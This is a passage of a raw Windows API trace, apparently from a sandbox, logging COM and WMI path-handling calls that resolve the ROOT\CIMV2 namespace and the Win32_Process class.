[6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.661] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5a80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0e30) returned 0x0 [0059.661] WbemDefPath:IUnknown:Release (This=0x1bec5a80) returned 0x0 [0059.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0e30) returned 0x0 [0059.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.662] WbemDefPath:IUnknown:AddRef (This=0x1bea0e30) returned 0x3 [0059.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5ac0) returned 0x0 [0059.662] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5ac0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.662] WbemDefPath:IUnknown:Release (This=0x1bec5ac0) returned 0x3 [0059.662] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.663] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.663] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x2 [0059.663] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x1 [0059.663] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.663] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0e30) returned 0x0 [0059.663] WbemDefPath:IUnknown:AddRef (This=0x1bea0e30) returned 0x3 [0059.663] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x2 [0059.663] WbemDefPath:IWbemPath:SetText (This=0x1bea0e30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0d70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0e30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0059.663] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea0d70) returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0e30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0059.663] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0d70, uIndex=0x0, pszName="ROOT") returned 0x0 [0059.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0e30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0059.664] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0d70, uIndex=0x1, pszName="CIMV2") returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea0d70, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0059.664] WbemDefPath:IWbemPath:SetClassName (This=0x1bea0d70, Name="Win32_Process") returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0d70, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0d70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0d70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0d70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0059.664] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0059.664] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0059.665] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0059.665] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0059.665] IUnknown:Release (This=0x111f638) returned 0x1 [0059.667] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bec5d20) returned 0x0 [0059.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5d20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0059.667] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5d20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea0ef0) returned 0x0 [0059.667] WbemDefPath:IUnknown:Release (This=0x1bec5d20) returned 0x0 [0059.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea0ef0) returned 0x0 [0059.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0059.667] WbemDefPath:IUnknown:AddRef (This=0x1bea0ef0) returned 0x3 [0059.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0059.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0059.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bec5d60) returned 0x0 [0059.668] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5d60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.668] WbemDefPath:IUnknown:Release (This=0x1bec5d60) returned 0x3 [0059.668] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0059.668] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0059.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0059.668] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x2 [0059.668] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x1 [0059.668] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0059.668] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0059.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea0ef0) returned 0x0 [0059.668] WbemDefPath:IUnknown:AddRef (This=0x1bea0ef0) returned 0x3 [0059.668] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x2 [0059.668] WbemDefPath:IWbemPath:SetText (This=0x1bea0ef0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0059.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.668] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0059.668] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.668] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.668] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.669] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.669] IUnknown:Release (This=0x111f638) returned 0x1 [0059.671] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec5da0) returned 0x0 [0059.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5da0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.671] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5da0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0fb0) returned 0x0 [0059.671] WbemDefPath:IUnknown:Release (This=0x1bec5da0) returned 0x0 [0059.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0fb0) returned 0x0 [0059.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.671] WbemDefPath:IUnknown:AddRef (This=0x1bea0fb0) returned 0x3 [0059.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5de0) returned 0x0 [0059.672] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5de0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.672] WbemDefPath:IUnknown:Release (This=0x1bec5de0) returned 0x3 [0059.672] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.672] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.672] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x2 [0059.672] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x1 [0059.672] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.672] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0fb0) returned 0x0 [0059.672] WbemDefPath:IUnknown:AddRef (This=0x1bea0fb0) returned 0x3 [0059.672] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x2 [0059.672] WbemDefPath:IWbemPath:SetText (This=0x1bea0fb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0059.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0059.672] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0059.672] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0059.672] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea0ef0) returned 0x0 [0059.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.672] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0fb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0fb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0059.673] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0ef0, uIndex=0x0, pszName="root") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0fb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0fb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0059.673] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0ef0, uIndex=0x1, pszName="cimv2") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0fb0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0fb0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0ef0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0ef0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0ef0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0b30, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.673] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0b30, puCount=0x1b2fd8a0 | out: 